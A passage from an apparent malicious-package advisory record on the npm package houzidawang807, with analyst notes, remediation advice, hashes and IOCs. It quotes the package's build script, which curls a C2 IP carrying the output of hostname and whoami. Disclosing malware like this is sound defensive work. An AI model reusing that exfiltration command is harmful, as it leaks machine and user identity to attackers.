Source comments explicitly label this destination as the attacker's C2 server. package.json additionally declares a `build` script that curls http://124.221.154.135/pre?h=$(hostname)&u=$(whoami), leaking host identifiers in plaintext to the same C2. The legitimate-looking surface is a 3-line formatDate wrapper in index.js; the rest of the package is attack tooling. Although the malicious file is named postinstall.js, it is not currently wired into a lifecycle hook (scripts only declares `build`), so default `npm install` does not auto-execute it — however, the file is loaded by any consumer that requires the package or invokes the build script, and the file's name strongly suggests the author intends to enable it as a lifecycle hook in a follow-up version.\n\n## Source: ghsa-malware (3cd7a12f544516990581ec600e00b50c69d5ba28cdf0039dd7f60efdd3d0b282)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"houzidawang807","ecosystem":"npm"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.1.6"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"postinstall.js","sha256":"01e2ae4c999c97c0deac72c7c36bbda5c0d81a95273d4cc5e7dd1dc6dc4596db","tlsh":"033161d148f9ce304f3583952762c62af606fb23a106c640f7d80bea2fb299485d1ced"},{"path":"package.json","sha256":"e721b12973f656430d0fef444292f2406109dcc93ef8d0d229372535cdbf5bd0","tlsh":"1ce07d296f109c231bf082516d744b1bb9145f2f527c0c4bb17371086197a641068705"},{"path":"index.js","sha256":"1d5404dbbd7f6a35142bc11e276bcff7b334f927a198399e6b0d9aa09ecfd098","tlsh":"8cc08c94a716b2866326122096a74100be5cc2300b9a6a62b88ec0c00144c12805ef8c"}],"ips":["104.16.11.34"],"package_integrity":[{"filename":"houzidawang807-1.1.6.tgz","hashes":{"sha1":"6b19bae2d2e58544f2b233eb89718e61a2b13ebc","sha512_sri":"sha512-PRMbq5oBwQmIqH72r0lsFblInQfMoq29SGtqyjM51cjV9IwqRFSkZYAWhPE1hf+NrZwQkV+EvTI3OkK05MPtoQ=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/houzidawang807/v/1.1.6"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-f2g2-48mf-957v"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-006305","import_time":"2026-06-13T07:25:38.440254257Z","modified_time":"2026-06-13T06:51:41Z","sha256":"7568d90e7a8d940b5618fa36bccfc2b7fa02ceaa814f0a416d2cc989c685e489","source":"amazon-inspector","versions":["1.1.6"]},{"id":"IN-MAL-2026-006306","import_time":"2026-06-13T07:25:38.570142303Z","modified_time":"2026-06-13T06:51:42Z","sha256":"d87a9bdb30c6c4de17c6d4f01a94a84c0e597eee96f324082f880b9915c44498","source":"amazon-inspector","versions":["1.1.6"]},{"id":"GHSA-f2g2-48mf-957v","import_time":"2026-08-02T22:41:04.94974Z","modified_time":"2026-08-02T17:09:40Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"3cd7a12f544516990581ec600e00b50c69d5ba28cdf0039dd7f60efdd3d0b282","source":"ghsa-malware"}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}
